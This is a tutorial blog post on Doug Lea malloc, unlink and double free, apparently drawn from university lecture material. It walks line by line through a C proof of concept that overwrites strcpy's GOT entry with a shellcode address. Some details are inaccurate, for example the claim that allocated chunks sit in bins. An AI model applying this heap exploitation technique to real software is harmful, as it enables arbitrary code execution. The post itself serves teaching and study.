GOT attack utilizing Double Free vulnerability

Dear readers,

Today I want to talk about GOT attack using Double Free. I was reading on GOT attack and stumbled across a lecture slide by Indiana University Bloomington. The link to the lecture slide can be found here. The exploit on GOT using Double Free vulnerability is pretty interesting however there are a lot of missing information in the exploit example. Therefore, I will give an introduction of Doug Lea malloc and the GOT exploit by Indiana University Bloomington.

Doug Lea Malloc

Firstly, let’s talk about Doug Lea malloc for 32-bit architecture. The Doug Lea mallac, a.k.a dlmalloc, is used as the native malloc in GNU/Linux. Therefore, note that different malloc has different data structures. If you have studied about heap but is the Windows version, this is definitely different from what you have learned. You can read a more technical and well-written article of Doug Lea malloc from Phrack (NOTE that their data structure is showing chunk growing from top to bottom while mine is bottom to top which is the same but different direction only).

To get started, let’s look at the data structure in dlmalloc:

Fig. 1 Data structure of Doug Lea malloc

There are two states of chunk which we will be focusing on. They are allocated and free chunk. All allocated chunks are stored in “bin” where a double linked list is used to keep track of the previous and the next chunk. This is where bk and fd pointers help to keep track of the address of the previous and next chunk respectively. In free chunk, the offset starts from the size. Bk or fd pointer will point to the Size address. Therefore, we can classify it as offset 0x0.

On the other hand, allocated chunks have a different location for its offset. The offset starts from the starting position of user data which its address is given when creating a heap variable using malloc().

void *ac;
ac = (void *)malloc(256);   // ac contains address that points to the user data

Unlink() algorithm

Remember that all free chunk all stored in a double linked list in increasing order? When malloc() is used, a free chunk that fits the size requested by the user will be unlinked from the double linked list. The steps to unlink is the same as how you unlink a structure/object from a linked list during your Data Structure classes. Below is the algorithm to unlink a free chunk:

FD = P->fd;   // Put a forward pointer address in variable FD
BK = P->bk;   // Put a backward pointer address in variable BK
P->fd = BK;   // Assign the forward pointer to the previous chunk
P->bk = FD;   // Assign the backward pointer to the next chunk

Note that P is the object of the chunk which is a pointer that points to offset 0x0 (Size) in the free chunk. Therefore, P->fd is deferencing content at offset 0x8.

Free chunk

When executing free(), the allocated chunk is freed and joined the double list with the rest of the free chunks in increasing order. Similar to what you have learned in the Data Structure class, to add a newly freed chunk is like how we normally add an object/structure into a linked list. Below is the algorithm for it:

Fig. 2 Insert chunk B into bin
BK = FD->bk;           // BK = A
P->bk = BK;            // B->bk = A
P->fd = FD;            // B->fd = C
FD->bk = BK->fd = P;   // C->bk = A->fd = B

Note that P is the object of the chunk which is a pointer that points to offset 0x0 (Size) in the free chunk. Therefore, P->fd is deferencing content at offset 0x8. In this case, P is B in figure 2. Also note that chunk C can be larger or same size as chunk B so chunk B will be inserted before chunk C where chunk C equals to FD in the algorithm above.

Double free

Double free occurs when a freed chunk is freed again. This occurs when the user still has a pointer to the heap that has already called on free() once. During free(), user will still have access to the address in the heap pointer variable. User can choose to free() it again, causing double free. Remember that when freeing, the OS will iterate through the double linked list “bin” which is sorted in increasing size order. Once finding a chunk that has larger or same size as the chunk to be inserted, it will insert right before it. In double free, the OS will found freed B and tries to insert “allocated” B before the freed B. Therefore, the algorithm below’s FD equals to B.

BK = FD->bk;           // BK = A
P->bk = BK;            // B->bk = A
P->fd = FD;            // B->fd = B
FD->bk = BK->fd = P;   // B->bk = A->fd = B
Fig. 3 Double free chunk B

Notice that this causes chunk B to link to itself for both its forward and backwards pointer. Let’s look at the next section which is to unlink (assign chunk using malloc) chunk B.

Unlink double freed chunk

Below is the algorithm which is the same as unlink in the previous section. However, the content in each line of code in the comment section is different. Note that P is chunk B to be freed.

FD = P->fd;   // FD = B
BK = P->bk;   // BK = B
P->fd = BK;   // B->fd = B
P->bk = FD;   // B->bk = B
Fig. 4 Unlinked double freed chunk B

There is still no difference. After freeing B, chunk B is still in the double linked list “bin”!

GOT attack using Double Free

GOT stands for Global Offset Table, holds absolute addresses of global variables and functions. This is useful for shared libraries when program tries to use a function from another library. GOT will allow the program to get the address of that function from the shared library. You can read more about GOT here.

Let’s take a look at the GOT double free exploit by Indiana University Bloomington.

1. static char *GOT_LOCATION = (char *)0x0804c98c;
2. static char shellcode[] =
3. "\xeb\x0cjump12chars_" 
4. "\x90\x90\x90\x90\x90\x90\x90\x90"
5.
6. int main(void){
7. int size = sizeof(shellcode);
8. void *shellcode_location;
9. void *first, *second, *third, *fourth;
10. void *fifth, *sixth, *seventh;
11. shellcode_location = (void *)malloc(size);
12. strcpy(shellcode_location, shellcode);
13. first = (void *)malloc(256);
14. second = (void *)malloc(256);
15. third = (void *)malloc(256);
16. fourth = (void *)malloc(256);
17. free(first);
18. free(third);
19. fifth = (void *)malloc(128);
20. free(first);
21. sixth = (void *)malloc(256);
22. *((void **)(sixth+0))=(void *)(GOT_LOCATION-12);
23. *((void **)(sixth+4))=(void *)shellcode_location;
24. seventh = (void *)malloc(256);
25. strcpy(fifth, "something");
26. return 0;
27. } 

Let’s break this into different sections and analyze the lines of code.

  • Line 1: Address of strcpy() in GOT is assigned to GOT_LOCATION.
  • Line 2-4: Our shellcode.
  • Line 11-12: Copy our shellcode into a heap.
  • Line 17: Free the “first” chunk (This might be placed in a lookaside list instead of the bin yet for recently freed chunk for reuse quickly if a new chunk of the same size is to be allocated).
  • Line 18: Free “third” chunk so that the “first” chunk is now removed from the lookaside list and place in the bin while the “third” chunk takes “first” chunk place in lookaside list.
  • Line 19: Allocate chunk size of 128 to probably clear the lookaside list.
  • Line 20: Free “first” chunk again to conduct double free.
  • Line 21: Allocate the “first” chunk to “sixth”. Remember that since “first” is doubled freed, “first” is still in the bin.
  • Line 22-23: Write the the GOT_LOCATION and shellcode_location into the forward and backward pointer in offset 0x0 and 0x4 respectively. Remember malloc address points to the starting address of the user space. See Figure 1 where offset 0x0 from malloc’s address is at forward pointer position which is offset 8. It is because shellcode_location has eight “\x90” NOP instruction which nicely offset 0x8 at forward pointer when dereferencing. Meanwhile, GOT_LOCATION minus by 12 which offsets 12 (0xC) for backward pointer. We will see this clearly in line 24 when unlinking the doubled freed “first” chunk.
  • Line 24: Unlink “first” again to “seven” when assigning malloc to the same size. This causes strcpy() position in GOT to be corrupted.
    • During unlinking:
    • 1) FD = P->fd; // FD = GOT_LOCATION – 12
    • 2) BK = P->bk; // BK = shellcode_location
    • 3) FD->bk = BK; // FD->BK == GOT_LOCATION = shellcode_location
    • 4) BK->fd = FD;
    • FD contains address of strcpy() minus 12 (GOT_LOCATION-12) and BK contains shellcode_location. In code line 3, FD which is (GOT_LOCATION – 12) which FD->bk will cause +0xC (+12) offset to FD. Therefore, BK = GOT_LOCATION – 12, BK->fd = GOT_LOCATION.
    • Finally, BK->fd, which is GOT_LOCATION (address of strcpy()) is overwritten by the shellcode_location.
  • Line 25: Calls strcpy() which will causes the program to be redirected to the shellcode through GOT.

I hope today’s post has been helpful to you. Feel free to leave any comments below. You may also send me some tips if you like my work and want to see more of such content. Funds will mostly be used for my boba milk tea addiction. The link is here. 🙂

Leave a Reply

Please log in using one of these methods to post your comment:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.